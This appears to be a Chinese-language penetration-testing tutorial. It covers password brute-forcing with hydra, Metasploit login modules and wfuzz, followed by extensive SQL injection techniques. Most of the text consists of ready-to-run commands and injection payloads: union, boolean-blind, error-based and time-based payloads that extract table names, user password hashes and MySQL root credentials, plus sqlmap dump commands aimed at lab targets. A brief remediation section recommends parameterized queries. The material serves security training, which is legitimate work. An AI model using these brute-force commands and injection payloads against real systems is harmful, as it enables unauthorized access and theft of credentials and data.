hydra -l admin -p password ftp://[192.168.0.0/24]/
hydra -L logins.txt -P pws.txt -M targets.txt ss
常用参数说明
hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns]
[-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV]
server service [OPT]
-R
继续从上一次进度接着破解
-S
大写,采用 SSL 链接
-s <PORT>
小写,可通过这个参数指定非默认端口
-l <LOGIN>
指定破解的用户,对特定用户破解
-L <FILE>
指定用户名字典
-p <PASS>
小写,指定密码破解,少用,一般是采用密码字典
-P <FILE>
大写,指定密码字典
-e <ns>
可选选项,n:空密码试探,s:使用指定用户和密码试探
-C <FILE>
使用冒号分割格式,例如“登录名:密码”来代替-L/-P 参数
-M <FILE>
指定目标列表文件一行一条
-o <FILE>
指定结果输出文件
-f
在使用-M 参数以后,找到第一对登录名或者密码的时候中止破解
-t <TASKS>
同时运行的线程数,默认为 16
-w <TIME>
设置最大超时的时间,单位秒,默认是 30s
-v / -V
显示详细过程
server
目标 ip
service
指定服务名,支持的服务和协议:telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt
http[s]-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3
mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn
icq sapr3 ssh2 smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp
等等
OPT
可选项
使用 hydra 穷举 ssh服务
-L 用户字典文件 -P 密码字典文件 -t 线程数 -vV 详细信息 -e ns 使用空口令
使用指定用户和密码试探 192.168.1.104 你要穷举的 ip ssh 是服务 -o 保存文件
-f 如果找到马上中断扫描
hydra -L users.txt -P password.txt -t 1 -vV -e ns 192.168.1.104 ssh -o ssh.txt -f
ssh://192.168.1.104
192.168.1.104 ssh
-l 指定用户
hydra -l root -P password.txt -t 1 -vV -e ns 192.168.1.104 ssh -o ssh.txt -f
hydra -l root -P 2019_top100.txt 192.168.52.13 ssh -vV -f
使用 hydra 穷举 ftp服务
hydra ip ftp -l 用户名 -P 密码字典 -t 线程(默认 16) -vV
hydra ip ftp -l 用户名 -P 密码字典 -e ns -vV
hydra -l c5moon -P 2019_top100.txt 192.168.52.6 ftp -vV -f
使用 hydra 穷举 mysql 服务
hydra ip mysql -l 用户名 -P 密码字典 -t 线程(默认 16) -vV
hydra ip mysql -l 用户名 -P 密码字典 -e ns -vV
hydra ip mysql -l 用户名 -P 密码字典 -e ns -vV -s 端口
使用 hydra 穷举 smb 服务
hydra -l administrator -P 2019_top100.txt 192.168.52.6 smb -vV -f
使用 hydra 穷举 http 服务
hydra -l admin -P 2019_top100.txt -vV -f www.c1moon.com http-post-form
"/admin/index.php:user=^USER^&ps=^PASS^&action=login:login-error"
使用 hydra 穷举 pop3 服务
hydra -L user.txt -P qweasd123 192.168.52.6 smtp-vV -f
3.8. 使用 hydra 穷举 rdp 服务
hydra ip rdp -l administrator -P pass.txt -V
3.9. 使用 hydra 穷举 http-proxy 服务
hydra -l admin -P pass.txt http-proxy://10.36.16.18
3.10. 使用 hydra 穷举 imap 服务
hydra -L user.txt -p secret 10.36.16.18 imap PLAIN
hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN
3.11. 使用 hydra 穷举 telnet 服务
hydra ip telnet -l 用户 -P 密码字典 -t 32 -s 23 -e ns -f -V
xhydra 穷举工具破解各种服务
xhydra 是 hydra 的可视化工具 使用简单方便快捷。
终端输入 xhydra 即可使用。
使用 hydrdp 破解 rdp服务
metasploit 穷举模块的使用
metasploit 是一个渗透测试集成套件 同样也有穷举模块
auxiliary/scanner/ftp/ftp_login
auxiliary/scanner/ssh/ssh_login
auxiliary/scanner/telnet/telnet_login
auxiliary/scanner/smb/smb_login
auxiliary/scanner/mssql/mssql_login
auxiliary/scanner/mysql/mysql_login
auxiliary/scanner/oracle/oracle_login
auxiliary/scanner/postgres/postgres_login
auxiliary/scanner/vnc/vnc_login
auxiliary/scanner/pcanywhere/pcanywhere_login
auxiliary/scanner/snmp/snmp_login
模块的用法
首先启动在终端下启动 msfconsole
use 使用 ssh_login 模块
use auxiliary/scanner/ssh/ssh_login
show options 查看模块的参数
RHOSTS 攻击的目标
PASS_FILE 密码字典
STOP_ON_SUCCESS 成功破解一个终止
THREADS 线程数
set 设置参数
msf5 auxiliary(scanner/ssh/ssh_login) > set PASS_FILE /home/kali/2019_top100.txt
PASS_FILE => /home/kali/2019_top100.txt
msf5 auxiliary(scanner/ssh/ssh_login) > set RHOSTS 192.168.52.13
RHOSTS => 192.168.52.13
msf5 auxiliary(scanner/ssh/ssh_login) > set STOP_ON_SUCCESS true
STOP_ON_SUCCESS => true
msf5 auxiliary(scanner/ssh/ssh_login) > set USERNAME root
USERNAME => root
msf5 auxiliary(scanner/ssh/ssh_login) > show options
设置好后用 run 或者 exploit攻击
御剑 RDP 爆破工具的使用
wfuzz 多线程穷举密码
Usage: wfuzz [options] -z payload,params <url>
Examples:
wfuzz -c -z file,users.txt -z file,pass.txt --sc 200 http://www.site.com/log.asp?user=FUZZ&pass=FUZ2Z
wfuzz -c -z range,1-10 --hc=BBB http://www.site.com/FUZZ{something not there}
wfuzz --script=robots -z list,robots.txt http://www.webscantest.com/FUZZ
wfuzz -c -z file,2019_top100.txt --sc 302 -u
http://www.c1moon.com/admin/index.php?action=login -d "user=admin&pw=FUZZ"
wfuzz -c -z file,2019_top100.txt --hc 404 --hh 1549 -u
http://www.c1moon.com/admin/index.php?action=login -d "user=admin&pw=FUZZ"
wfuzz -c -w /home/kali/csdnpass.txt --hc 404 --hh 1549 -u
http://www.c1moon.com/admin/index.php?action=login -d "user=admin&pw=FUZZ"
邮箱密码的穷举
安装
1.安装
使用pip安装 WFuzz
$ pip install wfuzz
使用 wfuzz docker 镜像
您可以通过执行以下命令从 github 注册表中提取 wfuzz docker 映像:
$ docker pull ghcr.io/xmendez/wfuzz
ps:docker是个很好用的虚拟化平台,后续写文章会具体讲述的(●ˇ∀ˇ●)
1.2 相关链接
GitHub地址:https://github.com/xmendez/wfuzz/
官方文档:https://wfuzz.readthedocs.io/en/latest/user/installation.html#
三、基本使用
这里针对上文中相关wfuzz的特性进行一 一演示,初步了解下wfuzz
3.1 目录遍历
这里的递归,可能大家不太理解,用简单的意思就是进行目录(某个文件)爆破,对已知的url进行目录(某个文件)猜解,达到获取到更多的可访问的目录(某个文件)信息,信息收集,扩大攻击面。
Wfuzz爆破文件:
wfuzz -w wordlist URL/FUZZ.php
Wfuzz爆破目录:
wfuzz -w wordlist URL/FUZZ
使用 -z 或 -w 参数可以同时指定多个payloads,这时相应的占位符应设置为 FUZZ, … , FUZnZ, 其中n代表了payload的序号。举例:
wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt -w /usr/share/wfuzz/wordlist/general/common.txt -w /usr/share/wfuzz/wordlist/general/extensions_common.txt --hc 404 http://testphp.vulnweb.com/FUZZ/FUZ2ZFUZ3
其中 --hc 过滤隐藏响应码为404的返回结果。
遍历枚举参数值
假如你发现了一个未授权漏洞,地址为:http://127.0.0.1/getuser.php?uid=123 可获取uid为123的信息
uid参数可以遍历,已知123为三位数纯数字,需要从000-999进行遍历,也可以使用wfuzz来完成
wfuzz -z range,000-999 http://127.0.0.1/getuser.php?uid=FUZZ
3.2 Post数据爆破
场景:发现一个登录框,没有验证码,想爆破弱口令账户。
请求地址为:http://127.0.0.1/login.php
POST请求正文为:username=&password=
使用wfuzz测试:
wfuzz -w userList -w pwdList -d "username=FUZZ&password=FUZ2Z" http://127.0.0.1/login.php
-d 参数传输POST请求正文。
3.3 头部爆破
HTTP Headers测试
发现一个刷票的漏洞,这个漏洞需要伪造XFF头(IP)可达到刷票的效果,投票的请求为GET类型,地址为:http://127.0.0.1/get.php?userid=666。
那么现在我想给userid为666的朋友刷票,可以使用wfuzz完成这类操作:
wfuzz -z range,0000-9999 -H "X-Forwarded-For: FUZZ" http://127.0.0.1/get.php?userid=666
-H指定HTTP头,多个需要指定多次(同Cookie的-b参数)。
3.4 测试HTTP请求方法(Method)
想测试一个网站(http://127.0.0.1/)支持哪些HTTP请求方法
使用wfuzz:
wfuzz -z list,"GET-POST-HEAD-PUT" -X FUZZ http://127.0.0.1/
这条命了中多了 -z list 和 -X 参数,-z list可以自定义一个字典列表(在命令中体现),以-分割;-X参数是指定HTTP请求方法类型,因为这里要测试HTTP请求方法,后面的值为FUZZ占位符。
3.5 使用代理
做测试的时候想使用代理可以使用如下命令:
wfuzz -w wordlist -p proxtHost:proxyPort:TYPE URL/FUZZ
-p参数指定主机:端口:代理类型,例如我想使用ssr的,可以使用如下命令:
wfuzz -w wordlist -p 127.0.0.1:1087:SOCKS5 URL/FUZZ
多个代理可使用多个-p参数同时指定,wfuzz每次请求都会选取不同的代理进行。
3.6 认证
想要测试一个需要HTTP Basic Auth保护的内容可使用如下命令:
wfuzz -z list,"username-password" --basic FUZZ:FUZZ URL
wfuzz可以通过–basec --ntml --digest来设置认证头,使用方法都一样:
–basec/ntml/digest username:password
3.7 递归测试
使用-R参数可以指定一个payload被递归的深度(数字)。例如:爆破目录时,我们想使用相同的payload对已发现的目录进行测试,可以使用如下命令:
wfuzz -z list,"admin-login.php-test-dorabox" -R 1 http://127.0.0.1/FUZZ
3.8 并发和间隔
wfuzz提供了一些参数可以用来调节HTTP请求的线程
你想测试一个网站的转账请求是否存在HTTP并发漏洞(条件竞争)
请求地址:http://127.0.0.1/dorabox/race_condition/pay.php
POST请求正文:money=1
使用如下命令:
wfuzz -z range,0-20 -t 20 -d "money=1" http://127.0.0.1/dorabox/race_condition/pay.php?FUZZ
3.9 保存测试结果
wfuzz通过printers模块来将结果以不同格式保存到文档中,一共有如下几种格式:
raw | `Raw` output format
json | Results in `json` format
csv | `CSV` printer ftw
magictree | Prints results in `magictree` format
html | Prints results in `html` format
将结果以json格式输出到文件的命令如下:
wfuzz -f outfile,json -w wordlist URL/FUZZ
使用-f参数,指定值的格式为输出文件位置,输出格式
SQL注入篇
漏洞描述
Web 程序代码中对于用户提交的参数未做过滤就直接放到 SQL 语句中执
行,导致参数中的特殊字符打破了 SQL 语句原有逻辑,黑客可以利用该漏洞执
行任意 SQL 语句,如查询数据、下载数据、写入 webshell 、执行系统命令以
及绕过登录限制等
测试方法
在发现有可控参数的地方使用 sqlmap 进行 SQL 注入的检查或者利用,
也可以使用其他的 SQL 注入工具,简单点的可以手工测试,利用单引号、 and
1=1 和 and 1=2 以及字符型注入进行判断!推荐使用 burpsuite 的 sqlmap 插
件,这样可以很方便,鼠标右键就可以将数据包直接发送到 sqlmap 里面进行检
测了!
修复建议
代码层最佳防御 sql 漏洞方案:采用 sql 语句预编译和绑定变量,是防御
sql 注入的最佳方法。
( 1 )所有的查询语句都使用数据库提供的参数化查询接口,参数化的语句使
用参数而不是将用户输入变量嵌入到 SQL 语句中。当前几乎所有的数据库系统
都提供了参数化 SQL 语句执行接口,使用此接口可以非常有效的防止 SQL 注
入攻击。
( 2 )对进入数据库的特殊字符( ' <>&*; 等)进行转义处理,或编码转换。
( 3 )确认每种数据的类型,比如数字型的数据就必须是数字,数据库中的存
储字段必须对应为 int 型。
( 4 )数据长度应该严格规定,能在一定程度上防止比较长的 SQL 注入语句
无法正确执行。
( 5 )网站每个数据层的编码统一,建议全部使用 UTF-8 编码,上下层编码
不一致有可能导致一些过滤模型被绕过。
( 6 )严格限制网站用户的数据库的操作权限,给此用户提供仅仅能够满足其
工作的权限,从而最大限度的减少注入攻击
对数据库的危害。
( 7 )避免网站显示 SQL 错误信息,比如类型错误、字段不匹配等,防止攻
击者利用这些错误信息进行一些判断。
sql注入原理
满足以下两个条件
参数用户可控:从前端传给后端的参数内容是用户可以控制的
参数代入数据库查询:传入的参数拼接到 SQL 语句,且带入数据库查询。
当用户传入参数为 1'的时候,在数据库执行如下所示
select * from users where id=1'
此 SQL 语句不符合语法规则就会报错。
You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near ''' at line 1
当用户传入参数为 1 and 1=1 时
select * from users where id=1 and 1=1
因为 1=1 为真 id=1 也是真 and 两边均为真 所以页面会返回 id=1 的结果。
如果用户传入参数为 1 and 1=2 时
因为 1=2 为假 id=1 为真 and 两边有一个为假,所以页面返回与 id=1 不一样的
由此可以初步判断存在 SQL 注入漏洞,攻击者可以进一步拼接 SQL 攻击语句,
进行攻击,致使信息泄露,甚至获取服务器权限
判断是否存在注入
回显是指页面有数据 信息返回
id =1 and 1=1
id = 1 and 1=2
id = 1 or 1=1
id = '1' or '1'='1'
id=" 1 "or "1"="1"
无回显是指 根据输入的语句 页面没有任何变化,或者没有数据库中的内容显示
到网页中.
三种 sql 注释符
-- 空格 单行注释
# 注意与 url 中的#区分,常编码为%23
/*
多行注释
*/
注入流程
是否存在注入判断注入类型
判断字段数 order by
确定回显点 union select 1,2
查询数据库信息 @@version @@datadir
查询数据库名 user() database()
文件读取 union select 1,load_file("c:\\")
写入 webshell select..into outfile.
补充一点,使用 sql 注入遇到转义字符串的单引号或者双引号,可使用 HEX 编
码绕过
sql 注入分类
可联合查询注入
堆叠查询
布尔型注入
基于时间延迟注入
接收请求类型区分
GET注入
GET 请求的参数是放在 URL 里的,GET 请求的 URL 传参有长度限制 中文需要
POST注入
POST 请求参数是放在请求 body 里的,长度没有限制
COOKIE 注入
cookie 参数放在请求头信息,提交时候服务器请求头获取
注入类型区分
int 类型
select * from users where id =1
string 字符型
select * from users where username ='admin'
like 搜索型
select * from news where title like '%标题%'
sql注入常规思路
寻找注入点
web扫描工具实现
通过注入点
尝试获取关于连接数据库用户名,数据库名,连接数据库用户权限,操作系统
3、猜解关键数据库表及其重要字段与内容(常见如存放管理员账户的表名、字
段名等信息
3.1 还可以获取数据库的 root 账号 密码—思路
4、可以通过获得的用户信息,寻找后台登录。
5、利用后台或了解的进一步信息
手工注入常规思路
1.判断是否存在注入,注入是字符型还是数字型
2.猜解 SQL 查询语句中的字段数 order by N
3.确定显示的字段顺序
4.获取当前数据库
5.获取数据库中的表
6.获取表中的字段名
7.查询到账户的数据
SQL 详细注入
猜数据库
1’ union select 1,database() –
payload 利用另一种方式:
1' union select user(),database()
version()
PS:union 查询结合了两个 select 查询结果,根据上面的 order by 语句我们知道
查询包含两列,为了能够现实两列查询结果,我们需要用 union 查询结合我们构
造的另外一个 select.注意在使用 union 查询的时候需要和主查询的列数相同。
猜表名:
1' union select 1,group_concat(table_name) from information_schema.tables where
table_schema =database()
得到表名:guestbook,users
group_concat 分组
group_concat 分组
猜列名:
1' union select 1,group_concat(column_name) from information_schema.columns
where table_name =0x7573657273#
1' union select 1,group_concat(column_name) from information_schema.columns
where table_name ='users'#
(用编码就不用单引号,用单引号就不用编码)
得到列:
user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,usernam
e,password
猜用户数据:
列举出几种 payload:
1' or 1=1 union select
group_concat(user_id,first_name,last_name),group_concat(password) from users #
1' union select null,concat_ws(char(32,58,32),user,password) from users #
1' union select null,group_concat(concat_ws(char(32,58,32),user,password)) from
users #
得到用户数据:
admin 5f4dcc3b5aa765d61d8327deb882cf99
猜 root 用户:#
1' union select 1,group_concat(user,password) from mysql.user#
得到 root 用户信息:
root*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
union 联合注入原理
联合查询注入是联合两个表进行注入攻击,使用关键词 union select 对两个表进
行联合查询。两个表的字段要数要相同,不然会出现报错。
guestbook 表有三个字段
如果直接联合两个表 因为列数跟第一个表不一样 会导致出错
整合的联合查询方法
SELECT * FROM guestbook WHERE comment_id=1 union select 1,2,3 from users
guestbook 有个三个字段 users 也需要有三个与之匹配
这些数字可以替换成字段的名称或者函数。
替换成函数
SELECT * FROM guestbook WHERE comment_id=1 union select
database(),user(),version() from user
字段替换成字段
SELECT * FROM guestbook WHERE comment_id=1 union select
user_id,user,password from users
如果没有加上 limit 限定条数会把所有内容查询出来,所以都会加上 limit 1 限定
SELECT * FROM guestbook WHERE comment_id=1 union select
user_id,user,password from users limit 1
但是只会显示第一条,因为 SELECT * FROM guestbook WHERE comment_id=1
这个语句是存在记录的 如果想要admin的内容可以把1换成其他不存在的记录,
因为默认负数就表示不存在的,所以可以在数字前加上-1 即可显示第二个表的内
容。
SELECT * FROM guestbook WHERE comment_id=-1 union select
user_id,user,password from users limit 1
union 联合注入攻击
在上面详细的介绍了原理,现在再来分析有 SQL 注入漏洞的代码,通过分析代
码,更深入地了解 SQL 注入漏洞
使用$_REQUEST 直接接收 id 参数,且没有进行过滤,且可以接收 cookie get post
这些传递方法。当传入 1 的时,页面正常返回用户信息。
如果传入 1' 语法会出现语句 You have an error in your SQL syntax;这种英文是
mysql 语法错误提示。
根据代码分析'$id'是属于字符串类型 所以在进行 SQL 注入检测的时候要注意匹
配字符串
判断 SQL 注入
输入 1'and '1'='1 页面返回用户信息 1'and '1'='2 页面返回不一样的信息。基本可
以确定存在 SQL
判断字段数
使用语句 order by 确定当前表的字符数
order by 1 如果页面返回正常 字段数不少于 1,order by 2 不少于 2,一直如此类
推直到页面出错。正确的字段数是出错数字减少 1
公式 order by n-1
1' order by 1--+ 正常
1' order by 2--+ 正常
1' order by 3--+ 出错
联合查询注入获取敏感信息
联合查询 输入 数字 查询页面是否有数字输出。输出的地方就是显示的内容但
是被数字替换了。-1 是让前面的表查询的内容不存在。所以就会显示显示数字。
-1' union select
把数据替换成 mysql 的函数例如 md5(1) 这会在页面返回 1 的 md5 加密信息。
使用这个函数一般是白帽子扫描器的匹配存在漏洞的特征码
version() mysql 版本
database() 当前数据库
user() 当前用户名
group_concat()分组打印字符串
把函数直接替换数字查看页面
-1' union select 1,version()--
-1' union select 1,group_concat(user(),0x3A,database(),version())--+
如果你想一次打印多个敏感信息可以使用 group_concat()把查询的函数写人里
0x3A 是:这个符号的十六进制 在 mysql 里会自动转成符号:
联合查询注入通过 information_schema 获取表
在黑盒的情况下是不知道当前库有什么表的,可以通过 mysql 自带的
information_schema 查询当前库的表。
查询当前库的表 limit 1 相当于 limit 1,1 表示显示第一个 1 改成 2 就是第二个
如此类推
第一个表
-1' union select 1,(select TABLE_NAME from information_schema.TABLES where
TABLE_SCHEMA=database() limit 1)--+
第二个表
-1' union select 1,(select TABLE_NAME from information_schema.TABLES where
TABLE_SCHEMA=database() limit 1,2)--+
联合查询注入通过 information_schema 获取字段
同样的查询字段也可以通过内置库 information_schema 里的 COLUMNS
这个表记录所有表的字段。通过 COLUMNS 查询 users 表的字
获取 users 表第一个字段名
-1' union select 1,((select COLUMN_NAME from information_schema.COLUMNS
where TABLE_NAME='users' limit 1))--+
获取 users 表第二个字段名
-1' union select 1,((select COLUMN_NAME from information_schema.COLUMNS
where TABLE_NAME='users' limit 2,1))--+
获取 users 表第三个字段名
-1' union select 1,((select COLUMN_NAME from information_schema.COLUMNS
where TABLE_NAME='users' limit 3,1))--+
通过联合查询表里的内容
通过以上的黑盒查询 获取库名、表名、字段、那么就可以查询某个表的内容。
-1' union select 1,(select group_concat(user,0x3a,password) from users limit 1) --
boolean 布尔型盲注入
在页面中不会显示数据库信息,一般情况下只会显示对与错的内容。 代码分析 加深印象
接收 id 的值,直接带入查询,如果存在即返回 users is exists in the database 否则显示 users id is missing 像这种只有正确与错误页面。页面不会显示数据库 里任何内容,如果存在注入,成为盲注入。 盲注入的方式有两种:一种是布尔型盲注入,另外一种是延时注入
判断盲注入
输入 SQL 注入检测语句 判断页面是否不一样,如果不一样大概会存在 SQL 注
入漏洞 1'and '1'='1 一样 1'and '1'='2 不一样,如果输入检测语句页面没有任何改
变可以使用延时语句进行检测 1'and sleep(10)--+ 函数 sleep() 在 mysql 是延时
返回的意思 以秒为单位 sleep(10) 即延迟10秒钟执行
通过判断是否延迟执行可以判断是否有sql注入漏洞
boolean 布尔型注入攻击
布尔型注入攻击,因为页面不会返回任何数据库内容,所以不能使用联合查询将
敏感信息显示在页面,但是可以通过构造 SQL 语句,获取数据。
布尔型盲注入用到得 SQL 语句 select if(1=1,1,0) if()函数在 mysql 是判断,第一
个参数表达式,如果条件成立,会显示 1,否则显示 0。1=1 表达式可以换成构
造的 SQL 攻击语句。
1' and if(1=1,1,0)--+ 页面返回正常,这个语句实际上是 1’and 1,真 and 真 结果
为真,1 是存在记录的。所以返回正确页面
1' and if(1=2,1,0)--+ 页面返回错误,这个语句就是 1’and 0 ,真 and 假 结果为
假,整个 SQL ID 的值也是 0 所以没有记录,返回错误页面
布尔型盲注入获取数据库敏感信息
在黑盒的环境下,通过构造 SQL 注入语句,根据页面的特征确定获取敏感信息。
布尔型盲注入用到的函数
SUBSTRING()字符串截取,第一个参数是字符串,第二个参数是开始截取 第三
三个是截取的长度。
select database()查询当前库
SELECT database()
SELECT substring(database(),1,1)
SELECT if(substring(database(),1,1)='d',1,0)
接着判断第二个字符。将 substring 第二个参数写成 2 因为要截取第二个字符
select if(SUBSTRING(database(),2,1)='v',1,0) 第二个字符为 v。如此类推。再后拼
接字符就是完整的库名
黑盒模式下布尔型注入
判断完注入就获取数据库的长度,得到长度再查询库名,通过库
名再查询表,接着通过表查询字段,最后查询某表指定的数据
布尔型盲注入查询长度
要查询当前库名,首先确定要查询数据库的长度,再通过截取字符进行对比。
1' and if(length(database())=4,1,0)--+
判断库名的长度为 4,截取第一个字符再进行判断
0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz.
@_
1' and if(substring(database(),1,1)='d',1,0)--+
变量 1 获取设置长度为 4 ,变量 2 设置导入字典 payload.txt 提交攻击
拼接字符得到 dvwa 库名
得到库名接着获取表名
1'and if(substring((select TABLE_NAME from information_schema.TABLES where
TABLE_SCHEMA=database() limit 1),1,1)='g',1,0)--+
抓包设置分别设置单个变量
得到表名之后 获取字段名 在用 burpsuite 抓包修改变量
1'and if(substring((select COLUMN_NAME from information_schema.COLUMNS
where TABLE_NAME='users' limit 1,1),1,1)='u',1,0)--+
当前库的表的第一个列字符是否等于 u 如果等于 u 返回正则页面 否则返回错误
页面。
select * from users where user_id=1 and if(substring((select COLUMN_NAME from
information_schema.COLUMNS where TABLE_NAME='users' and
TABLE_SCHEMA=database() limit 0,1),1,1)='u',1,0);
1'and if((SELECT LENGTH(CONCAT(user,0x3a,PASSWORD)) from users limit(1,
1)=38,1,0)--+
1'and if(substring((select CONCAT(user,0x3a,PASSWORD) from users limit
1),1,1)='a',1,0)--+
burpsuite 抓包修改值 提交测试
报错注入
数据库显错是指,数据库在执行时,遇到语法不对,会显示报错信息,例如语法 错语句 select' 11064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right synta
程序开发期间需要告诉使用者某些报错信息 方便管理员进行调试,定位文件错 误。特别 php 在执行 SQL 语句时一般都会采用异常处理函数,捕获错误信息。 在 php 中 使用 mysql_error()函数。如果 SQL 注入存在时,会有报错信息返回, 可以采用报错注入
从代码中分析 SQL 报错注入
如果语法错误,msqli_error()、mysqli_connect_error()会将语法错误信息 显示到 页面上
SQL 报错注入攻击
判断是否存在报错注入 输入单引号 如果报错有可能存在报错注入,如果拼接
SQL 语句带入到 mysql 执行即存在报错注入。
输入 1'and info()--+ 显示当前库,原理是
SELECT first_name, last_name FROM users WHERE user_id = '1' and info()--
会报错显示当前库不存在这个函数 这样当前库名就显示在页面上
报错注入获取数据库敏感信息
输入构造的攻击语句 页面返回数据库信息
1'and (updatexml(1,concat(0x7e,(select user()),0x7e),1))--+
把 user()替换成其他的函数 version() 、database() 就能得到 mysql 得版本信息和 当前库名
但是采用 updatexml 报错函数 只能显示 32 长度的内容,如果获取的内容超过 32
字符就要采用字符串截取方法。每次获取 32 个字符串的长度。
除了 updatexml 函数支持报错注入外,mysql 还有很多函数支持报错。
1.floor()
select * from test where id=1 and (select 1 from (select
count(),concat(user(),floor(rand(0)2))x from information_schema.tables group by
x)a);
2.extractvalue()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
3.updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
4.geometrycollection()
select * from test where id=1 and geometrycollection((select * from(select *
from(select user())a)b));
5.multipoint()
select * from test where id=1 and multipoint((select * from(select * from(select
user())a)b));
6.polygon()
select * from test where id=1 and polygon((select * from(select * from(select
user())a)b));
7.multipolygon()
select * from test where id=1 and multipolygon((select * from(select * from(select
user())a)b));
8.linestring()
select * from test where id=1 and linestring((select * from(select * from(select
user())a)b));
9.multilinestring()
select * from test where id=1 and multilinestring((select * from(select * from(select
user())a)b));
10.exp()
select * from test where id=1 and exp(~(select * from(select user())a));
在黑盒模式下的报错注入
在黑盒模式下的报错注入 首先获取当前库,通过库获取表名,接着通过表名获 取字段,最后获取字段内容
报错注入得到库名
注入以后语句均可获取库名
1' and info()--+
1'and (updatexml(1,concat(0x7e,(select user()),0x7e),1))--+
得到库名 dvwa
.报错注入获取 mysql 账号和密码
获取账号和密码需要 root 用户才有足够大的权限
select authentication_string from mysql.user limit 1;
select(updatexml(1,concat(0x7e,(select (select authentication_string from mysql.user
limit 1 )),0x7e),1))
select(updatexml(1,concat(0x7e,(select (substring((select authentication_string from
mysql.user limit 1),32,40))),0x7e),1))
报错注入获取表名
通过 mysql 内置库 information_schema 通过构造 SQL 语句查询获取表名
采用 floor 报错并不会存在长度问题
查询第一个表名
1'and(select 1 from(select count(*),concat((select (select (SELECT distinct
concat(0x7e,table_name,0x7e) FROM information_schema.tables where
table_schema=database() LIMIT 0,1)) from information_schema.tables limit
0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
将 LIMIT 0,1 改成 1,1 表是第二个表名
1'and(select 1 from(select count(*),concat((select (select (SELECT distinct
concat(0x7e,table_name,0x7e) FROM information_schema.tables where
table_schema=database() LIMIT 1,1)) from information_schema.tables limit
0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
报错注入获取字段
在获取表名之后就可以获取字段名,如获取 usrs 的字段名
获取第一个字段名
1'and(select 1 from(select count(*),concat((select (select (SELECT distinct
concat(0x7e,column_name,0x7e) FROM information_schema.columns where
table_name='users' LIMIT 0,1)) from information_schema.tables limit
0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
获取第二个字段名
1'and(select 1 from(select count(*),concat((select (select (SELECT distinct
concat(0x7e,column_name,0x7e) FROM information_schema.columns where
table_name='users' LIMIT 1,1)) from information_schema.tables limit
0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
可以使用 burpsuite 批量对字段批量获取,首先抓包,修改变量,设置匹配规则。
报错注入获取某表某段内容
现在已经获取 users 表的名字和它的字段名,接下来可以对内容进行查询。
1'and(select 1 from(select count(*),concat((select (select (SELECT distinct
concat(0x23,user,0x3a,password,0x23) FROM users limit 0,1)) from
information_schema.tables limit 0,1),floor(rand(0)*2))x from
information_schema.tables group by x)a)--
如果存在多个用户 把 limit 0,1 改成 1,1 如此类推知道获取最后一个用户为止
使用 busrpsuite 对用户获取
设置数量 再设置过滤网页响应
SQL 注入进阶
时间注入
时间注入又名延时注入,属于盲注入的一种,通常是某个注入点无法通过布尔型
注入获取数据而采用一种突破注入的技巧。
在 mysql 里 函数 sleep() 是延时的意思,sleep(10)就是 数据库延时 10 秒返回内
容。判断注入可以使用'and sleep(10) 数据库延时 10 秒返回值 网页响应时间至少
要 10 秒 根据这个原理来判断存在 SQL 时间注入。
mysql 延时注入用到的函数 sleep() 、if()、substring()
select if(2>1,sleep(10),0) 2>1 这个部分就是你注入要构造的 SQL 语句。
select if(length(database())>1,sleep(5),0) 这个就是查询当前库大于 1 就会延时 5 秒
执行。
-1' or if(length(database())>1,sleep(5),0)--+ 可以看到网页是大于五秒返回。根据这
个原理 n>1 n 不延时就能确定当前数据库的长度
时间注入代码分析
在页面中分析源码 直接获取 name 带进数据库进行查询,但是是否存在记录页 面返回都一样
http://192.168.222.128/06/vul/sqli/sqli_blind_b.php?name=1&submit=查询
-u 表示检测的 url
-p 指定的检测参数
-v 显示调试模式
--technique=T 检测方法为时间注入
sqlmap 检测为时间注入 接下来进行 通过这个注入获取数据库的名 用户权限,
表 字段等敏感信息的获取。
使用 sqlmap
sqlmap -u "http://192.168.0.134/06/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p
name -v 1 --technique=T --current-user --current-db --batch
--current-user 获取用户
--current-db 当前库
--batch 使用默认模式 自动 y
获取表 -D 指定数据库 --tables 获取表
sqlmap -u
"http://192.168.0.134/06/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%
E8%AF%A2" -p name -v 1 --technique=T --tables -D pikachu --batch
获取字段
在 sqlmap --columns 获取字典 -T 某个表
sqlmap -u
"http://192.168.0.134/06/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%
E8%AF%A2" -p name -v 1 --technique=T --columns -T users -D pikachu --ba
sqlmap 查询账号和密码
sqlmap -u "http://192.168.0.134/06/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p
name -v 1 --technique=T --dump -C "id,username,password" -T users -D pikachu --batch
--dump 导出数据
-C 指定查询的字段
堆叠注入
堆叠查询:堆叠查询可以执行多条 SQL 语句,语句之间以分号(;)隔开,而堆叠
查询注入攻击就是利用此特点,在第二条语句中构造要执行攻击的语句。
在 mysql 里 mysqli_multi_query 和 mysql_multi_query
这两个函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔。
但是堆叠查询只能返回第一条查询信息,不返回后面的信息。
select version();select database()
堆叠注入的危害是很大的 可以任意使用增删改查的语句,例如删除数据库 修改
数据库,添加数据库用户
堆叠注入代码分析
靶场启动 sudo docker run -dt --name sqli -p 7766:80 acgpiano/sqli-labs
